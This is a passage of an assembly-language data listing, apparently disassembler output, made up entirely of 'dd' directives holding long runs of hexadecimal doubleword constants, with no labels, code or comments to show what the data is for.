7025A641h, 0C5750890h, 0CD528424h, 8A92D25Ah, 85E0BF0Dh dd 0E89868B2h, 0A44B6073h, 98A0D6BCh, 536B44D1h, 894E5231h dd 0D663D854h, 98BEA2A4h, 0BEB3D538h, 5B4457B0h, 0EFA052D1h dd 0F78C1328h, 50173D6h, 18F00554h, 8F03EF16h, 5251B2E8h dd 6BB81346h, 1EF6F7CFh, 4D92D238h, 0AFFA8F26h, 9331595Dh dd 445C39EBh, 505F479Dh, 49628A33h, 0C1411BECh, 55CCD808h dd 0B1424B64h, 404A007h, 0F26B2h, 0D3776F94h, 2492C8Ch dd 9B39D959h, 0C7F4560Ah, 8A6871DDh, 88BC0180h, 0E4B33533h dd 49B4C388h, 8E3F4C3Fh, 0A393B3F4h, 5328EC70h, 0B1E80BF5h dd 0E56C8A4Bh, 62E0ACBAh, 0C051D0C7h, 4CAFA944h, 0FBA9D448h dd 6A03948Bh, 1F9D0E97h, 0C109A9EFh, 642101D7h, 0B14F92FFh dd 7FD7A573h, 5B4BEA27h, 973E77FEh, 0C7DBC73Bh, 0B73C5491h dd 0A3B0FAEBh, 24A263EFh, 0D04978D6h, 88E482A1h, 0F1055540h dd 0F6A18B3Dh, 0D1A6B67Eh, 0D47CA74Eh, 912EA9D2h, 0DBD7BC5Eh dd 95249484h, 8B3A0F67h, 53A8717Fh, 0B4E97B52h, 7B9128D3h dd 0B4AE9A3Fh, 6D0CB789h, 0E19D0ADEh, 0B4C60h, 88CAC92Eh dd 68F15711h, 6824966Ah, 4A2E008Bh, 86EDEFC0h, 902EE9FEh dd 0A859178Bh, 4016EEADh, 13253424h, 79C8A063h, 15E20227h dd 97D0F643h, 5AC820FDh, 0D3B847BEh, 0F831BAC7h, 4A3A1D2Bh dd 3AB43AB1h, 578AAD1Ah, 57B8CA3Dh, 2D208194h, 0EF22BF8Ch dd 682F5770h, 715BA0B3h, 0AE249475h, 0F5574867h, 9335EAC1h dd 0A82AC0EEh, 0C94037F8h, 76D118F5h, 224598BCh, 2F3F700Bh dd 52459F73h, 543FDC39h, 0B33EB176h, 6FC17712h, 6A2301AAh dd 0CD4FA7C8h, 0FF3F5AAh, 0E6CD5AA1h, 0C7646ECBh, 3F825077h dd 8A48423h, 2F7D7522h, 6C9A3A2Dh, 10272D1Bh, 0BFBB0F1Ah dd 8C2D5A21h, 4872F190h, 22EBA397h, 0ADA2EE6Fh, 742C3123h dd 7A4E42D7h, 1D8895FEh, 0FB34A86h, 5D154D4Ch, 3A831901h dd 0ED1D5143h, 0B222DDF2h, 0ACA8DAB0h, 0CB285811h, 6F96A288h dd 0BE8B803Bh, 0F73D0FF2h, 63AFA845h, 8B28AC68h, 88145B73h dd 942C0D20h, 555635C4h, 0BD42602Bh, 9C4D0E02h, 8B00B7CBh dd 746D3522h, 4885AD6Bh, 0FF2C1623h, 7049D636h, 742563B3h dd 3E89F519h, 77E327B0h, 0A4222948h, 0AEEDDD16h, 84480526h dd 85EBA99h, 20AA6ACBh, 0C99A8872h, 0F3EAF6A0h, 0A84C9EBDh dd 0C09859B2h, 5129E2DFh dd 30774D9Fh, 0F2A91933h, 6797C38Eh, 0F5121E61h, 0EFD11511h dd 48D7BBD6h, 0C751329Dh, 0AFD49F90h, 7B524D0Bh, 38A98B0h dd 8BC9220Bh, 651476A3h, 0FDE21455h, 4A4D2E89h, 5814BF53h dd 2E1FB026h, 180D2E34h, 6E7D40Dh, 6083243h, 0A520B3D7h dd 2C9E1577h, 1E6CE586h, 0D64CC76Dh, 0A823A206h, 0F0D97870h dd 0A8D68C76h, 423534D9h, 0BEDB153Ah, 56C7A330h, 76F599F4h dd 3F9751B0h, 52F1C398h, 0E589CB6Eh, 0C0A2E64Bh, 0CAF32FFDh dd 2CC8D68Ch, 0C579EF0Ch, 6BD4FCEFh, 9C8D9475h, 3161842Ah dd 0BE8728F8h, 45690AC2h, 0A5BF1397h, 0E8EB7D47h, 0CE5A8B16h dd 0D4AADC85h, 45D83605h, 578D56BAh, 22CF59E7h, 49684035h dd 0BF617CCDh, 0FD2EDA39h, 6245557Ah, 0B6A81FE7h, 696DA20Dh dd 0C7C6B0E2h, 7B078BADh, 0A68B9300h, 0B0D1BD01h, 57F30930h dd 8662CB95h, 0CA418319h, 9B7A7F1Fh, 0E9D14F26h, 0F1B1AB2Dh dd 8631A625h, 0AE36147Fh, 98B942B6h, 33498BCEh, 3C2D9C51h dd 0ABFC5749h, 8A0E84CCh, 76AB2CA2h, 0B7F1D6C4h, 17F929BBh dd 9F98C67Fh, 5508AE53h, 4D9D75E5h, 3C0E59D0h, 0F291F039h dd 6B29F82Eh, 0B13FFE35h, 5A111FA5h, 86113E88h, 43CC4349h dd 73818BA2h, 26E8F097h, 0EEA40F29h, 2902A040h, 3315BA7Dh dd 0BAE53ACDh, 8D18F8A4h, 2D99540h, 140EC365h, 0F6505015h dd 0A8595188h, 0CC1947CDh, 57692829h, 36946912h, 8973EC70h dd 7F509753h, 0DC595101h, 49652547h, 0F2BB7E54h, 502E2E48h dd 1D255E13h, 0AFCBB47Bh, 0E356D2B0h, 0B3D0F7Ah, 0A9A58E63h dd 0BD80597Ah, 477E6E6Ch, 0FEB17EAEh, 91AB5DFAh, 15A94BB5h dd 1993DE7Dh, 0DE515E29h, 262DB98Dh, 2E33919Dh, 0B87FE350h dd 537A178Fh, 60F5C2C1h, 0BD297347h, 0C6E43468h, 9CF34977h dd 0A57E760Bh, 12BABAB9h, 96A8897Ah, 0DA28E136h, 3BC8C3D5h dd 59229474h, 99019105h, 9025F73h, 0ABE51BD7h, 0D974FF22h dd 714EEE01h, 2454DA19h, 10FE5763h, 0F682AEBEh, 0CC3B0C19h dd 0C9CE615h, 319E0A36h, 91AFE037h, 44A3558h, 0CAB7ABD9h dd 7AEAD11Ch, 0B79A337Fh, 0B7A34CE4h, 8ACCAA7Bh, 25B19D85h dd 18809FF4h, 513C4762h, 8D133C8Ch, 37616455h, 5BE8A2DFh dd 0A4625FEAh, 2ABCAACBh, 9556A16Ah, 0C18F6196h, 0FAFD6F68h dd 0BABC422h, 250F272h, 0C42E462h, 470561Eh, 8AB1983Eh dd 0DF51093Bh, 0F932DB08h, 8914028Fh, 443A8AD3h, 6876756Fh dd 2D2E3DBBh, 8744F5Ah, 0B986C269h, 2BE36A2h, 5D06B36Fh dd 21AF7163h, 22F7CC5Dh, 5FE4BB2Ch, 0CC703C79h, 7BCCF175h dd 92ADA425h, 0E99460BAh, 93AF031h, 507D495Bh, 91D30078h dd 0B962B975h, 0EBD1E63Bh, 8124807Eh, 15D53DF0h, 82E8ABF9h dd 0DD2D047Eh, 66591FF3h, 2CD13688h, 0A4A75565h, 0BEE1E416h dd 98E8A034h, 0CCA85B12h, 4159AD1Fh, 66C640CDh, 8C2D5562h dd 13B83856h, 44B8A661h, 1168A99h, 6C08C367h, 0FB284C62h dd 0E1F31984h, 34A49B35h, 7D9D5FC4h, 0CED67F55h, 0C195315Dh dd 51B455DEh, 0DA4771Fh, 808C4AA3h, 6E92F11Ah, 1FC30344h dd 0E1557C58h, 0B96F7E5h, 0FCE8060Bh, 14D3863Ah, 595114h dd 0B9CCD6B2h, 0ABFC3C68h, 3043A38Ch, 4EAA1529h, 44BFB140h dd 3946A40h, 0EF829223h, 5B81DF9Ch, 14435F1Fh, 8815117Eh dd 83D4785Ah, 1C696962h, 8902631Bh, 23033403h, 5FCB3189h dd 72689305h, 4C965580h, 6F1A9928h, 8C033AF6h, 795A4C30h dd 0D37A4AAAh, 50AD658Ch, 0A40B1663h, 0AEF53F5Ah, 20A2DA2h dd 2A397CFFh, 1570BBCCh, 9690DB6Ch, 3BAD9D2Eh, 7BAC419h dd 0FC952049h, 0CF1606ABh, 2F1C6240h, 0C3E8D3Bh, 0F47A4AE7h dd 0D916C351h, 0FF8C4895h, 1DC503A7h, 9794C9A0h, 4C6212E3h dd 0AC2ABEh, 0ABF9962Ah, 2118BF20h, 48A25E81h, 326749A0h dd 9CFC344Dh, 812FD2FBh, 0BCC80344h, 62845C55h, 88DCE37Dh dd 12049B31h, 10916721h, 0FBD1EB9Eh, 2E893BACh, 29150157h dd 0D80874ACh, 0D19446C1h, 0C5856349h, 283E0D7h, 0C4FA9Eh dd 38A620B9h, 0B46811Ah, 0BF6D2395h, 4505532Ah, 0BA7321D5h dd 3283A59Eh, 56942C7Ah, 4121F124h, 28087AE4h, 55FC144Dh dd 0D8BFAD10h, 46899A49h, 0A451DD57h, 2FA6F7E6h, 84683892h dd 0CE595391h, 31C0A5A0h, 73D555F2h, 15A09999h, 2E017D80h dd 80ECAC32h, 0B8AB62FEh, 0A380BE8Fh, 0A682E261h, 74B2A62Fh dd 667A91E5h, 6FF0CCDDh, 65F4587Eh, 0F2AEE610h, 8AA6E6E8h dd 12D1DDE9h, 91409BC4h, 9DC0ADEEh, 51A2DF2Eh, 0B11093C2h dd 0EA8C88A7h, 6F13B4C2h, 2346529Ah, 0F42E88D2h, 649F154Ah dd 7403C4E8h, 44271A75h, 0B4FB5996h, 17C6CDC0h, 0A35BB909h dd 7CA73457h, 4DA3A19Dh, 0AA5D6581h, 0FA6DBA9Ch, 34FF616Bh dd 6E23F2B3h, 5CA5C86Eh, 6C59117h, 520AC5DFh, 0CE44FD8Ah dd 0CAB45DF5h, 0CF8F7D5Ah, 0A83F5B32h, 6CCFE8ABh, 12618EADh dd 9122A327h, 478AD480h, 25BAEAE0h, 85964E93h, 802DE9A6h dd 0A899AB45h, 0E86355DDh, 0BE6174A2h, 0E3F8084Eh, 0A2ACA8C3h dd 910644CFh, 9596A522h, 530314B1h, 0E630569Dh, 33BB3D9Eh dd 657CEDAh, 636D9849h, 5686FA7Eh, 477598C4h, 1A57C3BEh dd 828412A0h, 0D6064FC6h, 16489659h, 0B2151D7Eh, 97485D76h dd 48B34C43h, 0F7BAB2FBh, 4CC410A7h, 90B9ABD3h, 1156634h dd 14352BB5h, 4F5CB457h, 618560Ah, 5A9A598Eh, 715CD17Bh dd 221E5811h, 3E5A3E48h, 16558B40h, 9A5E97A7h, 0F267C204h dd 25B6D7ADh, 4CFECD6Eh, 0FE111017h, 0FE2A81AAh, 0B30CB958h dd 0A2EDF7A3h, 58D824CBh, 1C7516D7h, 59552857h, 3834CC6h dd 0CEB6E6EFh, 0AA736A17h, 0AEED27CAh, 0DD59E129h, 556F5771h dd 41E88645h, 0D4CDFD1Ch, 69CFAABAh, 0D1D40471h, 985D5C92h dd 51FC50DDh, 5709C610h, 4091DE95h, 96459682h, 93EA7369h dd 5CA93484h, 6D3E8AFAh, 50D8375Dh, 6DE83707h, 1E956A7Ah dd 11CA5DC1h, 4D642B86h, 0F1AA02EBh, 0C7CCD77Ah, 1BCC03E2h dd 0EC38C4C8h, 7E5C22CBh, 7982D0C5h, 0DAB368B0h, 2EA4AAABh dd 7D241F33h, 0C2FBFD88h, 0C2F97759h, 0B49C28F4h, 60840B60h dd 16DEDF91h, 468589B2h, 82E4BA7Bh, 40AF696Dh, 6BAF97Fh dd 18CF02FEh, 46F964Ch, 155FCF4Dh, 0A082A3D7h, 9F206517h dd 0B7F3A54h, 0A47CB975h, 81FDA716h, 62647ED5h, 604641C6h dd 798F50B5h, 0D4A050B7h, 0E56A99BAh, 452CA802h, 0A305FD16h dd 0FF2937C9h, 4819A5EAh, 48274EF8h, 0D94857F1h, 4294C621h dd 954F2D58h, 8255827Dh, 6EE3C594h, 0BE55092Bh, 56F38CECh dd 5FDCD277h, 0FAF27486h, 3ADE63A1h, 0B114ABFAh, 0AAEC575Fh dd 0B1069455h, 106F868Fh, 0CFFD2AF8h, 7DF2BD18h, 0C4F4EAC7h dd 0E06E696Ch, 0CA9583F7h, 0E615FCBAh, 0AA327C20h, 158B6BC3h dd 88E76307h, 73B0AC1Dh, 0DDEC5E68h, 2962EBF6h, 54875FDBh dd 0DB3D93B0h, 0D893E357h, 78DD83C7h, 6516F252h, 0CCED6E9h dd 2A404888h, 0F8516FEAh, 0AF5D79E8h, 54DB3858h, 33660C11h dd 0DA942720h, 1317BFCCh, 0E88EE37h, 0BE448A8h, 8C300512h dd 438250C2h, 357624Eh, 171CEB09h, 3750743Fh, 82272EA9h dd 0DA2A3295h, 104A60A8h, 0ACBFF319h, 2831716Ch, 6AFEF1CBh dd 9CC77C1Fh, 5FAF53AEh, 0B492D033h, 0AA1D2B7Eh, 0E3EAC89Ch dd 0F66E9458h, 0EB12CF55h, 0ED5C1C0Ah, 0F48822A1h, 0F51E5FAAh dd 0A0560225h, 0A6D50CC8h dd 7705F42h, 0BD187A07h, 0C18404C0h, 93CAA28Eh, 8CFA4C58h dd 0B501E0B1h, 932AEB55h, 0DEB4B168h, 22C4E7ABh, 47ACEC56h dd 3BE4E90Ch, 71AA2D21h, 0CB83424Dh, 10C3AF7Fh, 0A3BF4441h dd 1FDBE05h, 9F7D8A0Bh, 194CA209h, 5F45C8A5h, 0E43C6CE9h dd 11F8EACFh, 0E33CC183h, 557ACED7h, 8FA28E4Fh, 1201973Dh dd 40E93376h, 0B0C5DF22h, 67957E8Dh, 194968EEh, 3D208815h dd 43426E82h, 0E41F1FB8h, 9C44631Ah, 848DB88Ah, 4520721Fh dd 0D23FF4h, 57635005h, 91171079h, 5776F604h, 83D13DFAh dd 570C2879h, 937A68E9h, 31AE9DEh, 32D15E06h, 5184ABF5h dd 38DC015h, 0B653F8Dh, 72D7C612h, 0CB806289h, 0A44625C0h dd 190843A3h, 595722C9h, 1F90CFD6h, 0A0A74C5Ah, 0ACFD18CCh dd 0F1A75904h, 0E790CE62h, 4DB6566h, 0DA0ABE46h, 0AFD74BA5h dd 4F24D92Ch, 0D7F980D0h, 51020C74h, 1CAC43EDh, 0F80994D1h dd 806B5644h, 0E7A42794h, 0CDF9A72Ah, 0B69B5EA2h, 9ED17BA6h dd 0A3FB02D5h, 9E9E9C51h, 0F74120A1h, 0E3F12228h, 9E978345h dd 6126CB84h, 2F99C298h, 6B6A7AD9h, 0C6ED5AC8h, 0E1D01859h dd 67326F27h, 6525100h, 0F1A5DDBCh, 0DD26B6EDh, 0CF21CB07h dd 5DD23CEBh, 80D3B6D1h, 0D38032DAh, 0A5FE1140h, 0B08C9FA6h dd 668080AAh, 872BAAE8h, 0BEFFAC45h, 0E2FF45C1h, 2EECAC08h dd 425B0F4Bh, 86795FEDh, 0E2FF8FCAh, 7948C805h, 4E224DF2h dd 8ABF5143h, 1D57AD44h, 5519DCB7h, 59DFD1D6h, 6D379219h dd 6555451Ah, 55AEB280h, 75116AA1h, 2045EFE6h, 47D95D88h dd 0D5841789h, 3F79576Fh, 0DCFF0977h, 276386E5h, 5655D2E9h dd 9AE81ED6h, 132D515h, 0E628E8E0h, 4FC7EAA1h, 3EECE2CCh dd 455F8F52h, 0AE7DCBDEh, 0CB18CE94h, 448695F0h, 31B37E64h dd 0E3133353h, 296A3356h, 61DCF30Fh, 7CFF83B7h, 1A2246F4h dd 0A863F3F8h, 34BD501h, 0B32443E6h, 18552550h, 603281F3h dd 407C7C4Ch, 688CA462h, 94757100h, 0F07D3F19h, 0B803F202h dd 2D8042DFh, 4078B0E6h, 688DC82Dh, 0B0F42D00h, 0AB1FF298h dd 4A8704AFh, 90DC98D0h, 0C0F8EDB1h, 676180CEh, 6A8C3890h dd 8115F333h, 43B2D50h, 89CA88C2h, 0AF3C0CA9h, 13808197h dd 120FD1F8h, 0AF0E758Ah, 2C304621h, 0E2394188h, 0ECED2E5Bh dd 3671306Ch, 0A5C637C6h, 0D29645FBh, 7F10C2CFh, 327E280h dd 0C2665E72h, 1A5A5180h, 46348C5Dh, 291392C1h, 0D715C899h dd 288A4A15h, 15221C06h, 445464B9h, 4E91C993h, 99408DA6h dd 0BE555240h, 70CB4D19h, 9D476E3Ch, 65E45B99h, 2CCF2A3Ch dd 0E272715Dh, 6B6C3AAAh, 5CC431AAh, 0A9E6F59Fh, 8469177Eh dd 61C5CFEAh, 6DE68996h, 0A9D39999h, 4F36755Bh, 1A9CBDAFh dd 0B34219D7h, 6751F5B8h, 0EE7110C6h, 840315F0h, 4BD5203Fh dd 9850BE42h, 0C37B034Ah, 58032AC5h, 0AF821DA0h, 0A978484Ch dd 0C5D11F6Bh, 468E2C5Ah, 0BC6715FBh, 0CAD06710h, 0AC25300h dd 9E46962Ch, 2701B3B0h, 2BCD12A4h, 12579440h, 96DDA375h dd 7C57CC55h, 112D15D0h, 0D815E4B4h, 19230F03h, 0A20B1251h dd 1B15068h, 0C652B8EDh, 0C3231498h, 404F13C8h, 0E5D2F6B1h dd 1A452108h, 208D64F6h, 3874006Eh, 0A20A0C5Ch, 0ADFC2FEEh dd 92248B23h, 0E623CE23h, 79A2240Ah, 0AE374700h, 18DFDCFBh dd 8461AA7Ch, 8E3F1F53h, 48175BC8h, 98D7F9D4h, 338B90F2h dd 0C5F83E75h, 54E49BFFh, 851155F4h, 0C4531ABh, 3D267B6Dh dd 0D3EB4DC2h, 209B505Fh, 0C3D80842h, 0B68A6A19h, 7A6E97DAh dd 97589984h, 8E08B89Bh, 0D74E2BA2h, 4A8169F5h, 98B60718h dd 0C745238Ch, 41892144h, 23D1D54Ah, 0F71296BEh, 0A69FCB52h dd 6A978DB0h, 5A0252D4h, 93380631h, 0A4AF8AE5h, 5718E493h dd 0CBE8E09Eh, 0A9999FA3h, 0BDA8E685h, 0C84DC794h, 625C19C5h dd 821F1A27h, 0C7E6FF32h, 69424D11h, 0D1CC9185h, 3AB1D0CBh dd 0BD15E383h, 0F2F92E56h, 279F218Dh, 394ED1BEh, 97D18CDAh dd 0F7BE53D3h, 0CAECF05Bh, 98BAF3EAh, 80D63181h, 0EC7CFC16h dd 0FF2273A1h, 0ABE04E47h, 0A4AB5222h, 8CC77A30h, 5261BCF4h dd 0A3AACAF8h, 0A2A7FB0Dh, 8B437549h, 5F088336h, 8B47F084h dd 0E8F8965Ah, 55CC4C66h, 4AF71774h, 4C522E63h, 4A03BC03h dd 0B3B4A8BCh, 0A1687309h, 5D810230h, 0A957359Bh, 7C80D701h dd 9588A331h, 89576D07h, 0B41F0CA6h, 0E795721Fh, 0C026544Ch dd 7BDCA5h, 1A754ABh, 0AFB103BDh, 0B39AD404h, 1F1AD640h dd 7CA55499h, 0C12A05BDh, 3619FEA0h, 7DB4A85Ah, 72FAB5A2h dd 0E28299B4h, 118BA0AEh, 0B01F6B65h, 476CA3CDh, 3413501Bh dd 6461C8F6h, 88509FF8h, 288BD2D1h, 0D7843DD3h, 0AA653496h dd 0C5767A76h, 478E746Dh, 8AA5B232h, 3DEBFE11h, 17CD2276h dd 0A2A9213Eh, 7D33BC9Bh, 4CCDB992h, 0EE731339h, 0F4F1BE0Ah dd 0A51FFC89h, 619B9515h, 58BF24F2h, 9F487397h, 7896DE42h dd 9F451A0Bh, 6382FE0Ch, 0C74C11E9h, 36844AB4h, 66958451h dd 0D4566D5h, 698D526Bh, 0E5CB4FE6h, 0EA7E7242h, 0D5827A3Ch dd 9C3B1782h, 4D88D490h, 8DCC80F7h, 0C47AAAF9h, 92906D9Dh dd 0B1C5DEA6h, 0E5785571h, 610D4FCh, 14696582h, 0B30BFFA4h dd 5717DFC0h, 22E0145Eh, 5AC09A60h, 79ED2EABh, 0CC4454A7h dd 334A4580h, 2B84CB74h, 8F5E54Eh, 99C96A8Dh, 71943515h dd 9AAFC882h, 0DB70580Ah, 5B999989h, 9A578F49h, 0B48CDB61h dd 2474919Dh, 730B75D4h, 0BC0F77B0h, 0E80790D2h, 80E000D3h dd 0DD7B5F9Ch, 4BD34651h, 0AEE6388Fh, 391E955Dh, 0CD64EE47h dd 0DFD93ECCh, 7FA3D534h, 211E0644h, 0C6F8E9F6h, 0B9B98FBCh dd 75D5A0A4h, 9F2EB31Ah, 3B41E05Eh, 0BC66F1AFh, 0CAE88512h dd 40159300h, 71E9281h, 0B4065A2Ch, 0ACFEF376h, 25901353h dd 5F86832Ch, 25185152h, 36C5B07h, 5BA73570h, 9E51D2E0h dd 0F490B7F8h, 11FA14FEh, 5CDD224Fh, 6691619Ah, 3A205C92h dd 4EB3D199h, 1062ABBCh, 2BF927ADh, 0CD225EA9h, 2A8AB4D8h dd 0D80EBFC4h, 0D0DFBBD0h, 0E2AE6ABBh, 0B3332E5Ah, 0D2A5F38Ah dd 0D68AD04Ch, 0B6D932E2h, 98292E87h, 4CCAFC07h, 7F392D1Dh dd 651CFEC6h, 4C0641B6h, 0E6D8504h, 417B8EAAh, 54609950h dd 0DB536199h, 173FDCD6h, 6BD3ED43h, 38AA12AFh, 0E955ECE3h dd 0F7336311h, 0E958A0A1h, 7657F951h, 0B631186Ch, 0F09C88BEh dd 548EFE43h, 809735E8h, 48BA2342h, 988D8EA1h, 9DDCF9D2h dd 0FA0823EFh, 80A2254Fh, 0BA47A972h, 83DE03F3h, 0FB738033h dd 0FFA0A22Eh, 0D0280CAh, 3BE6ABD8h, 48FF303Fh, 964DA30h dd 45DFA0AFh, 296A1518h, 0F94EF419h, 0D0654F3h, 0A80F90E6h dd 68524210h, 8D5E8045h, 1A88FD85h, 0B1DCD701h, 0B45DA68Bh dd 0C657632Bh, 9C655783h, 1E405428h, 7AE91501h, 0AC45CAFEh dd 78DDEC90h, 510388Ah, 9986CA41h, 28FF1AFDh, 0B2A851D2h dd 3FE91AC7h, 3361CC5Ch, 9872FB01h, 3BF754FAh, 0E34A620Eh dd 9874E77Ah, 0E2669EFDh, 54548F6h, 0AF9A17E5h, 0C8BB3717h dd 2986047Eh, 388CEDAFh, 61B3F5E3h, 61AD18CAh, 0B530048Ah dd 0AF4875ABh, 0BDF09EFh, 6011B284h, 82A6CCDAh, 8FA82841h dd 20EC1C00h, 37DACC39h, 4D31CAEFh, 59D0E998h, 57C1B014h dd 775669C5h, 7E951A15h, 85A8D4FAh, 1985D338h, 3FBE6532h dd 0C2D649C7h, 70DA957Dh, 68539032h, 908F114Ch, 0B6862A8h dd 6616BE23h, 85A55C8Eh dd 96D453F0h, 67A72C06h, 5A2E032Ch, 0B623E50Bh, 7BF87E90h dd 173F5B51h, 0D1AE85B9h, 0FE42A85Bh, 855008BDh, 5CD1E28Bh dd 1F50B923h, 7D1F31A1h, 73077553h, 4DAD2E8Bh, 915D2D6Bh dd 68E208F2h, 51136045h, 9A47D42Ah, 671FFA70h, 26715772h dd 5D269C4Bh, 88B12B8h, 294CA52Ch, 59B8BBDEh, 263388Fh dd 8D3DE087h, 2B535256h, 0F1643B0Eh, 7FF1EDE0h, 0CEC25DF4h dd 0DC65F543h, 0A775D394h, 44A8DD04h, 593EB1C0h, 0D480223Dh dd 337CA9EDh, 41874A88h, 3027BA8Ch, 0B960DD8Fh, 81926020h dd 30494D21h, 0B74CC189h, 5789B6C6h, 0EFAA1F02h, 0EF50276h dd 0C4427C7Ch, 6200B2D9h, 0E05ED0Eh, 3561D3Fh, 0F83E6011h dd 9F492C0Ah, 0DBFA8905h, 5607A250h, 66113198h, 0A3795C86h dd 0B6DEC92Dh, 86F3DC40h, 65B006FFh, 0ECF8FC3Ch, 5D744F36h dd 897415B6h, 0A9D4955Dh, 52F7B7C8h, 0BD3ACBB4h, 0E1A7232Eh dd 3C54E917h, 0E47A9C06h, 6918DA23h, 0AA49929Eh, 0E0209FA9h dd 9FD4968Ch, 136AAEB8h, 0FF5F4523h, 7CBB034Bh, 71564A25h dd 0E978746h, 47662878h, 25F25644h, 4F314D9Ah, 0D63243E1h dd 0A65D08E5h, 25B0EC50h, 168A6D67h, 6DF4279Fh, 1F533E1Dh dd 2580580Dh, 5491C02h, 5768201Eh, 1C44C671h, 0F6DDBE90h dd 0C2BE01A7h, 0EBD35A50h, 0D67F3FB6h, 0A581C620h, 0D3B16DD5h dd 0A8254E27h, 0B2D4D7B9h, 2ECF8FF8h, 1857007Bh, 5A488E4Dh dd 0CCF9C67Ch, 9489C41Ah, 0FD81D304h, 6D1C0069h, 0F6246F86h dd 713B0327h, 0FC754926h, 229ED8C3h, 9ABD169Ah, 0EFD08E01h dd 40FF9938h, 3C8C0C2Eh, 51692C45h, 0E0617DC7h, 8B4AE229h dd 0E23CFE3Ah, 6351114Eh, 6267539h, 4F60A950h, 119419C4h dd 0FF1219C9h, 33F23DAAh, 0B11BF340h, 73C4031Ch, 30C3C006h dd 19756EE2h, 9C2E5A21h, 8B23A7FEh, 72E9FA1Ah, 0E6706114h dd 0BD7677Eh, 15B4D234h, 0CFC753B5h, 0A9107F32h, 4B84AF2Eh dd 49BDD120h, 3F332AFAh, 4276F0CBh, 0B2AE2B31h, 0EA803E08h dd 0D5F623E2h, 0E9368A44h, 287A12E1h, 4AEEABBDh, 3482FC40h dd 927592B9h, 0EE67AA33h, 155C7E98h, 148CE91Fh, 274121ADh dd 0D72CFB76h, 61348925h, 5DEFE5DFh, 88DB7000h, 160CD63Ch dd 974035FFh, 99406D05h, 0D7E14034h, 444162F3h, 984A5DF6h dd 0CFD030B8h, 0A75ED128h, 7D46577Dh, 0B45D5573h, 5D780F4Bh dd 4E14A176h, 6036CD4Ch, 80567AB1h, 399FCBA3h, 0DFF93060h dd 4EE8A7FCh, 4576BB42h, 50FE6D97h, 12AF3A52h, 1CEBF612h dd 3EAF6B54h, 69D546C3h, 9462A157h, 2B0A7732h, 0B3256C3Dh dd 32285757h, 192FFD69h, 0D18D430h, 57938A83h, 0AEEB904Fh dd 0A20B055Eh, 0DA382FBh, 0AFC38ABFh, 0C41609A2h, 0A66172BEh dd 0AC5DB145h, 0FA11846Dh, 652B7804h, 5AEA5D4Bh, 0A28CDA2Ch dd 777AD418h, 3088AFA3h, 34508372h, 99CD61F5h, 3633C2FBh dd 342A68CEh, 0A9037F11h, 97DC2541h, 0EC296E95h, 9126F159h dd 0C24A6BB9h, 0CCBE134Ah, 0AE756600h, 574DD922h, 0BFA22541h dd 4F6AEA70h, 94CFDE98h, 9758E51Dh, 0E8F3B0DFh, 6C3FCBDFh dd 0B68CBB82h, 2A43262Dh, 16AD4318h, 3180F8E1h, 6816DD31h dd 0AC9A4748h, 768BC7B1h, 3A2A7AEEh, 49DA312h, 491FB840h dd 2BC23ED0h, 0D160BFDDh, 995474AEh, 0D4504D4Eh, 22B4E50Eh dd 230954ACh, 4CAE6137h, 0A308FD58h, 4702E093h, 8E8AAD58h dd 584D6700h, 0F9580AA9h, 8F92308h, 23084D23h, 4D2D584Dh dd 0AFB0F958h, 57DE15C0h, 0D8592791h, 63E83049h, 45AADD11h dd 5DD1AB1Fh, 3A4488ABh, 9C116A82h, 0FAD0934Bh, 0CC530F5Dh dd 44AAFD64h, 8CA5A972h, 4496DA29h, 0A3D2ED76h, 0FDE03980h dd 0A72AAE2Bh, 0F7AF1449h, 0ACC5D781h, 0B21E810Eh, 0C35649AEh dd 95FC3EE4h, 17ACA515h, 223B95E8h, 0D445F2A4h, 457FB6A7h dd 7DD07C63h, 9016AA9h, 56D17573h, 0AFA34702h, 392BB4CFh dd 0EDA13F4Fh, 9FFCEB42h, 4A809A7Ah, 75D070C2h, 0FCFC4964h dd 266D16F4h, 71F7F5FCh, 8B4D7567h, 0EA569B28h, 0F44540A9h dd 0F4984C51h, 0DF363A19h, 356D4F95h, 8A14117Dh, 984D479Dh dd 0AC115C61h, 0A3BC46FBh, 2198F75Dh, 0AB17B5F0h, 0C37A3DC2h dd 0F83ACEF9h, 75C508CCh, 89AA7010h, 501E33F9h, 446B714h dd 7E7B7FFBh, 198698ABh, 0DA680471h, 601313B9h, 9F028F18h dd 84E98001h, 321F3461h, 0C1A1E0EDh, 0A4C3C12Dh, 0BE83679Ah dd 0B57E455h, 90240890h, 0ED18592Dh, 0FD12AEEh, 0B74DEBE0h dd 0AA06700Bh, 0B2984570h, 0A62372BDh, 9A0778DFh, 8C5885A2h dd 0A43F4C02h, 7D6FE6B2h, 0F673098Fh, 0F91EC4AEh, 4273CBE7h dd 66B989B0h, 3C09D8F0h, 99A0D283h, 119C9DDBh, 0CBCF677Fh dd 0B5A0FBB8h, 0F0B8980Eh, 8CC98E81h, 9E04A2EBh, 24239324h dd 468BE42Bh, 997C65EEh, 63B15A00h, 0FAF04A79h, 7A032CB6h dd 9AC1960Fh, 0E659504Bh, 95BF1BF5h, 9221EF64h, 3BC14806h dd 0D054D0DAh, 0ED1FAC89h, 49B499C5h, 0E81BC529h, 8D9EFEAEh dd 51657A3Dh, 3FAAAB53h, 225FF6Ch, 157D4C6h, 0D8C26A63h dd 0C69507D1h, 0D74F7ABDh, 7011D9EDh, 0AB81F227h, 12BB7F02h dd 16BEDE82h, 0BB3D3DB0h, 0BE0988B2h, 0BD41B016h, 0BBA160F4h dd 6C1B6AE3h, 0E3284A5Dh, 15D79FD4h, 9013B60Ch, 2275974h dd 15E5362Bh, 4E8251F4h, 0E606AAB4h, 82FFB88Fh, 70292815h dd 12F20FCAh, 0AD57073Ch, 1D5E85E5h, 0C760AD4h, 5740DA20h dd 886612B5h, 0D0D81A6h, 6B88B605h, 50D0E02Ch, 98A6D1B4h dd 0B79DCBBDh, 1DA08D8Dh, 982FB46Ah, 143C099Fh, 7BB83031h dd 0B401C13Ah, 0D5518D1Ch, 0ADBD33F2h, 0B63084E3h, 44E3259Dh dd 8B98E2EAh, 0C8B08BB2h, 0EBA0142Fh, 0A450A9Bh, 2BA821A8h dd 0E8D3428Fh, 0CB21F571h, 0D14A57E5h, 8E7969ACh, 0FEC8A3Bh dd 0B716D469h, 3EAC7914h, 57EF3F39h, 412CC934h, 87DE640h dd 10EE2266h, 4734EFAAh, 0E1F32443h, 33156091h, 60E7D921h dd 46E9345Bh, 6502A0E4h, 84A30D7Ah, 1C556D82h, 3207E098h dd 62676776h, 0C6091572h, 112F127Dh, 2B32CBD2h, 0BDB50B5Ah dd 0EA142116h, 6A2E8F1Ah, 79D1595Dh, 